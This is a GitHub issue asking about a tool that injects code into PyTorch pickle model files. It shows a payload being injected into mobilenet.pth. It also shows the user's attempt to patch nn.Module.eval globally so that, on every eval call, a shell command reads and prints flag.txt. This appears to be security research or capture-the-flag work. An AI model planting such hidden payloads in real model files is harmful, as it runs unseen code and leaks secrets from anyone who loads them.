-
Notifications
You must be signed in to change notification settings - Fork 65
Open
Labels
questionFurther information is requestedFurther information is requested
Description
Based on the example provided:
result = PyTorchModelWrapper("mobilenet.pth")
# Inject payload, overwriting the existing file instead of creating a new one
temp_filename = "temp_filename.pt"
result.inject_payload(
"print('!!!!!!Never trust a pickle!!!!!!')",
temp_filename,
injection="insertion",
overwrite=True,
)
# Load file with injected payload
torch.load("mobilenet.pth")
This code prints "!!!!!!Never trust a pickle!!!!!!" when loading the model, what if i want to override the .eval() function of the model and execute a code whenever .eval() is called.
I tried this but it kept calling it recursively and crashing:
cmd = """
import torch.nn as nn
import os
def custom_eval(self):
string = os.popen('cat flag.txt').read().strip()
print(f'The content of flag.txt is:\\n{string}')
super(type(self), self).eval()
nn.Module.eval = custom_eval # Override globally (or target specific classes)
"""
Metadata
Metadata
Assignees
Labels
questionFurther information is requestedFurther information is requested